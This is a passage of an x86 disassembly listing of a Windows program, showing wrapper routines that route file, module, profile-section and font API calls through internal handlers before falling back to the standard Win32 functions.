; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DAD93	proc near		; DATA XREF: _6:004E1380o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		xor	edx, edx
		mov	ecx, [ebp+arg_8]
		call	sub_4D19D2
		test	eax, eax
		jz	short loc_4DADC5
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	0
		push	0
		push	0
		call	sub_4D1CC4
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		jmp	short loc_4DADD7
; ---------------------------------------------------------------------------


loc_4DADC5:				; CODE XREF: sub_4DAD93+12j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E1720	; GetPrivateProfileSectionNamesA
		mov	[ebp+var_4], eax


loc_4DADD7:				; CODE XREF: sub_4DAD93+30j
		mov	eax, [ebp+var_4]
		leave
		retn	0Ch
sub_4DAD93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DADDE	proc near		; DATA XREF: _6:004E1388o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		xor	edx, edx
		mov	ecx, [ebp+arg_C]
		call	sub_4D19D2
		test	eax, eax
		jz	short loc_4DAE11
		push	1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	0
		push	0
		push	[ebp+arg_0]
		call	sub_4D1CC4
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		jmp	short loc_4DAE26
; ---------------------------------------------------------------------------


loc_4DAE11:				; CODE XREF: sub_4DADDE+12j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4DE02C	; GetPrivateProfileSectionA
		mov	[ebp+var_4], eax


loc_4DAE26:				; CODE XREF: sub_4DADDE+31j
		mov	eax, [ebp+var_4]
		leave
		retn	10h
sub_4DADDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DAE2D	proc near		; CODE XREF: sub_4DAE83+8p
					; sub_4DAE96+9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_4DAE43
		push	7Eh
		call	ds:dword_4E178C	; RtlRestoreLastWin32Error
		xor	eax, eax
		jmp	short locret_4DAE81
; ---------------------------------------------------------------------------


loc_4DAE43:				; CODE XREF: sub_4DAE2D+8j
		mov	ecx, [ebp+arg_0]
		call	sub_4D5AD2
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4DAE7E
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		call	sub_4D61E1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4DAE7E
		call	ds:dword_4E1710	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4DAE7A
		push	7Eh
		call	ds:dword_4E178C	; RtlRestoreLastWin32Error


loc_4DAE7A:				; CODE XREF: sub_4DAE2D+43j
		xor	eax, eax
		jmp	short locret_4DAE81
; ---------------------------------------------------------------------------


loc_4DAE7E:				; CODE XREF: sub_4DAE2D+25j
					; sub_4DAE2D+39j
		mov	eax, [ebp+var_4]

locret_4DAE81:				; CODE XREF: sub_4DAE2D+14j
					; sub_4DAE2D+4Fj
		leave
		retn
sub_4DAE2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DAE83	proc near		; CODE XREF: sub_40767D+5Ap
					; sub_407E65+13Ap ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_0]
		call	sub_4DAE2D
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_4DAE83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DAE96	proc near		; CODE XREF: sub_4D9518+B9p
					; sub_4D9789+B9p ...

arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_4DAE2D
		pop	ecx
		pop	ecx
		pop	ebp
		retn	0Ch
sub_4DAE96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DAEAA	proc near		; CODE XREF: sub_4DAF65+8p
					; sub_4DAF78+9p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DEAA8
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_4DAEE1
		push	7Eh
		call	ds:dword_4E178C	; RtlRestoreLastWin32Error
		xor	eax, eax
		jmp	short loc_4DAF56
; ---------------------------------------------------------------------------


loc_4DAEE1:				; CODE XREF: sub_4DAEAA+29j
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		push	104h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_1C], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_1C]
		rep stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_1C]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_4E17B8	; WideCharToMultiByte
		push	[ebp+arg_4]
		push	[ebp+var_1C]
		call	sub_4DAE2D
		pop	ecx
		pop	ecx
		push	0FFFFFFFFh
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_28]
		jmp	short loc_4DAF56
; ---------------------------------------------------------------------------


loc_4DAF44:				; DATA XREF: _5:004DEAB0o
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_4D83DD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_4DAF56:				; CODE XREF: sub_4DAEAA+35j
					; sub_4DAEAA+98j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4DAEAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DAF65	proc near		; DATA XREF: _6:004E12D8o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_0]
		call	sub_4DAEAA
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_4DAF65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DAF78	proc near		; DATA XREF: _6:004E12E8o

arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_4DAEAA
		pop	ecx
		pop	ecx
		pop	ebp
		retn	0Ch
sub_4DAF78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DAF8C	proc near		; CODE XREF: sub_407E65+Fp
					; sub_407E65+264p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_4DAFA0
		push	0
		call	ds:dword_4E1718	; GetModuleHandleA
		jmp	short locret_4DAFC2
; ---------------------------------------------------------------------------


loc_4DAFA0:				; CODE XREF: sub_4DAF8C+8j
		push	[ebp+arg_0]
		call	ds:dword_4E1718	; GetModuleHandleA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4DAFBF
		xor	dl, dl
		mov	ecx, [ebp+arg_0]
		call	sub_4D58CF
		mov	[ebp+var_4], eax


loc_4DAFBF:				; CODE XREF: sub_4DAF8C+24j
		mov	eax, [ebp+var_4]

locret_4DAFC2:				; CODE XREF: sub_4DAF8C+12j
		leave
		retn	4
sub_4DAF8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DAFC6	proc near		; DATA XREF: _6:004E1358o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004DB062 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DEAB8
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_4DAFFB
		push	0
		call	ds:dword_4E1718	; GetModuleHandleA
		jmp	short loc_4DB065
; ---------------------------------------------------------------------------


loc_4DAFFB:				; CODE XREF: sub_4DAFC6+29j
		and	[ebp+var_1C], 0
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	104h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_20], eax
		xor	eax, eax
		mov	edi, [ebp+var_20]
		stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_4E17B8	; WideCharToMultiByte
		push	[ebp+var_20]
		call	sub_4DAF8C
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4DB052
		jmp	short loc_4DB062
sub_4DAFC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4DB052	proc near		; CODE XREF: sub_4DAFC6+85p
					; DATA XREF: _5:004DEAC0o
		mov	eax, [ebp-20h]
		mov	[ebp-28h], eax
		push	dword ptr [ebp-28h]
		call	sub_4D83DD
		pop	ecx
		retn
sub_4DB052	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4DAFC6


loc_4DB062:				; CODE XREF: sub_4DAFC6+8Aj
		mov	eax, [ebp+var_1C]


loc_4DB065:				; CODE XREF: sub_4DAFC6+33j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; END OF FUNCTION CHUNK	FOR sub_4DAFC6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB076	proc near		; CODE XREF: sub_40767D+71p
					; sub_40767D+7Ep ...

var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004DB179 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DEAC8
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_1C], 0
		mov	eax, [ebp+arg_4]
		shr	eax, 10h
		movzx	eax, ax
		test	eax, eax
		jz	short loc_4DB0C9
		push	offset aDllgetclassobj ; "DllGetClassObject"
		push	[ebp+arg_4]
		call	ds:dword_4E17C0	; lstrcmpi
		test	eax, eax
		jnz	short loc_4DB0C9
		mov	ecx, [ebp+arg_0]
		call	sub_4D5A41


loc_4DB0C9:				; CODE XREF: sub_4DB076+37j
					; sub_4DB076+49j
		and	[ebp+var_4], 0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E1728	; GetProcAddress
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4DB0F9
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		and	[ebp+var_30], 0
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_30]
		jmp	loc_4DB17C
; ---------------------------------------------------------------------------


loc_4DB0F9:				; CODE XREF: sub_4DB076+6Aj
		cmp	[ebp+var_1C], 0
		jz	short loc_4DB179
		mov	eax, ds:dword_4E60D4
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_4DB120
		mov	eax, [ebp+var_24]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	[ebp+var_28], 1
		jmp	short loc_4DB124
; ---------------------------------------------------------------------------


loc_4DB120:				; CODE XREF: sub_4DB076+95j
		and	[ebp+var_28], 0


loc_4DB124:				; CODE XREF: sub_4DB076+A8j
		movzx	eax, [ebp+var_28]
		test	eax, eax
		jz	short loc_4DB179
		mov	[ebp+var_4], 1
		push	[ebp+var_1C]
		mov	ecx, ds:dword_4E60D4
		call	sub_4DB871
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_4DB152
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		mov	[ebp+var_1C], eax


loc_4DB152:				; CODE XREF: sub_4DB076+D2j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4DB15D
		jmp	short loc_4DB179
sub_4DB076	endp


; =============== S U B	R O U T	I N E =======================================



sub_4DB15D	proc near		; CODE XREF: sub_4DB076+E0p
					; DATA XREF: _5:004DEADCo
		mov	eax, ds:dword_4E60D4
		mov	[ebp-2Ch], eax
		cmp	dword ptr [ebp-2Ch], 0
		jz	short locret_4DB178
		mov	eax, [ebp-2Ch]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection

locret_4DB178:				; CODE XREF: sub_4DB15D+Cj
		retn
sub_4DB15D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4DB076


loc_4DB179:				; CODE XREF: sub_4DB076+87j
					; sub_4DB076+B4j ...
		mov	eax, [ebp+var_1C]


loc_4DB17C:				; CODE XREF: sub_4DB076+7Ej
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_4DB076

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB18D	proc near		; CODE XREF: sub_40767D+170p
					; DATA XREF: _1:off_4220B4o ...

var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DEAE0
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_1C], 0
		push	[ebp+arg_0]
		call	ds:dword_4E16E0	; FreeLibrary
		jmp	short loc_4DB1D9
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 1
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_24]


loc_4DB1D9:				; CODE XREF: sub_4DB18D+35j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4DB18D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB1EA	proc near		; DATA XREF: _6:off_4E13D8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_14]
		and	eax, 10h
		test	eax, eax
		jz	short loc_4DB216
		cmp	[ebp+arg_8], 0
		jnz	short loc_4DB216
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		call	sub_4CF036
		test	eax, eax
		jnz	short loc_4DB216
		and	[ebp+var_4], 0


loc_4DB216:				; CODE XREF: sub_4DB1EA+10j
					; sub_4DB1EA+16j ...
		cmp	[ebp+var_4], 0
		jnz	short loc_4DB237
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E17CC	; LoadImageA
		mov	[ebp+var_4], eax


loc_4DB237:				; CODE XREF: sub_4DB1EA+30j
		mov	eax, [ebp+var_4]
		leave
		retn	18h
sub_4DB1EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB23E	proc near		; DATA XREF: _6:off_4E13C8o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset dword_4DE5C4
		push	offset aAddfontresou_0 ; "AddFontResourceA"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4CF94C
		test	eax, eax
		jnz	short loc_4DB270
		push	[ebp+arg_0]
		call	[ebp+var_8]
		mov	[ebp+var_4], eax


loc_4DB270:				; CODE XREF: sub_4DB23E+27j
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_4DB23E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB277	proc near		; DATA XREF: _6:004E13D0o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset dword_4DE5C4
		push	offset aRemovefontre_0 ; "RemoveFontResourceA"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4CFD24
		test	eax, eax
		jnz	short loc_4DB2A9
		push	[ebp+arg_0]
		call	[ebp+var_8]
		mov	[ebp+var_4], eax


loc_4DB2A9:				; CODE XREF: sub_4DB277+27j
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_4DB277	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB2B0	proc near		; CODE XREF: sub_404716+1CBp
					; sub_405053+25p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_14]
		and	eax, 40000000h
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4D0346
		test	eax, eax
		jnz	short loc_4DB2F7
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E16A8	; CreateFileA
		mov	[ebp+var_4], eax


loc_4DB2F7:				; CODE XREF: sub_4DB2B0+27j
		mov	eax, [ebp+var_4]
		leave
		retn	1Ch
sub_4DB2B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB2FE	proc near		; DATA XREF: _6:004E1260o

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

; FUNCTION CHUNK AT 004DB3C1 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DEAF0
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		or	[ebp+var_1C], 0FFFFFFFFh
		and	[ebp+var_4], 0
		push	104h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_20], eax
		xor	eax, eax
		mov	edi, [ebp+var_20]
		stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_4E17B8	; WideCharToMultiByte
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 103h
		ja	short loc_4DB388
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		push	[ebp+var_20]
		call	sub_4D0346
		test	eax, eax
		jnz	short loc_4DB3A6


loc_4DB388:				; CODE XREF: sub_4DB2FE+70j
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E16AC	; CreateFileW
		mov	[ebp+var_1C], eax


loc_4DB3A6:				; CODE XREF: sub_4DB2FE+88j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4DB3B1
		jmp	short loc_4DB3C1
sub_4DB2FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4DB3B1	proc near		; CODE XREF: sub_4DB2FE+ACp
					; DATA XREF: _5:004DEAF8o
		mov	eax, [ebp-20h]
		mov	[ebp-2Ch], eax
		push	dword ptr [ebp-2Ch]
		call	sub_4D83DD
		pop	ecx
		retn
sub_4DB3B1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4DB2FE


loc_4DB3C1:				; CODE XREF: sub_4DB2FE+B1j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	1Ch
; END OF FUNCTION CHUNK	FOR sub_4DB2FE

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB3D5	proc near		; CODE XREF: sub_404716+202p
					; sub_405053+B2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4D0741
		test	eax, eax
		jnz	short loc_4DB3F5
		push	[ebp+arg_0]
		call	ds:dword_4E16A4	; CloseHandle
		mov	[ebp+var_4], eax


loc_4DB3F5:				; CODE XREF: sub_4DB3D5+12j
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_4DB3D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB3FC	proc near		; CODE XREF: sub_405053+80p
					; sub_409A5D+BBp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4D1177
		test	eax, eax
		jnz	short loc_4DB436
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E177C	; ReadFile
		mov	[ebp+var_4], eax
		jmp	short loc_4DB459
; ---------------------------------------------------------------------------


loc_4DB436:				; CODE XREF: sub_4DB3FC+1Ej
		cmp	[ebp+arg_10], 0
		jz	short loc_4DB459
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax], 0
		jnz	short loc_4DB459
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_4DB459
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax+10h]
		call	ds:dword_4E1784	; SetEvent


loc_4DB459:				; CODE XREF: sub_4DB3FC+38j
					; sub_4DB3FC+3Ej ...
		mov	eax, [ebp+var_4]
		leave
		retn	14h
sub_4DB3FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB460	proc near		; CODE XREF: sub_405053+6Cp
					; sub_40AB26+259p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4D0421
		test	eax, eax
		jnz	short loc_4DB491
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E1788	; SetFilePointer
		mov	[ebp+var_4], eax
		jmp	short loc_4DB49D
; ---------------------------------------------------------------------------


loc_4DB491:				; CODE XREF: sub_4DB460+18j
		cmp	[ebp+arg_8], 0
		jz	short loc_4DB49D
		mov	eax, [ebp+arg_8]
		and	dword ptr [eax], 0


loc_4DB49D:				; CODE XREF: sub_4DB460+2Fj
					; sub_4DB460+35j
		mov	eax, [ebp+var_4]
		leave
		retn	10h
sub_4DB460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB4A4	proc near		; CODE XREF: sub_409140+25p
					; DATA XREF: _1:off_4220F8o ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_4DB4BE
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4D0216
		test	eax, eax
		jnz	short loc_4DB4D9


loc_4DB4BE:				; CODE XREF: sub_4DB4A4+8j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E16B0	; CreateFileMappingA
		mov	[ebp+var_4], eax


loc_4DB4D9:				; CODE XREF: sub_4DB4A4+18j
		mov	eax, [ebp+var_4]
		leave
		retn	18h
sub_4DB4A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB4E0	proc near		; DATA XREF: _6:004E12B0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_4DB4FA
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4D0216
		test	eax, eax
		jnz	short loc_4DB515


loc_4DB4FA:				; CODE XREF: sub_4DB4E0+8j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E16B4	; CreateFileMappingW
		mov	[ebp+var_4], eax


loc_4DB515:				; CODE XREF: sub_4DB4E0+18j
		mov	eax, [ebp+var_4]
		leave
		retn	18h
sub_4DB4E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB51C	proc near		; CODE XREF: sub_409140+36p
					; DATA XREF: _1:off_4220F4o ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4CFFBF
		test	eax, eax
		jnz	short loc_4DB554
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E176C	; MapViewOfFile
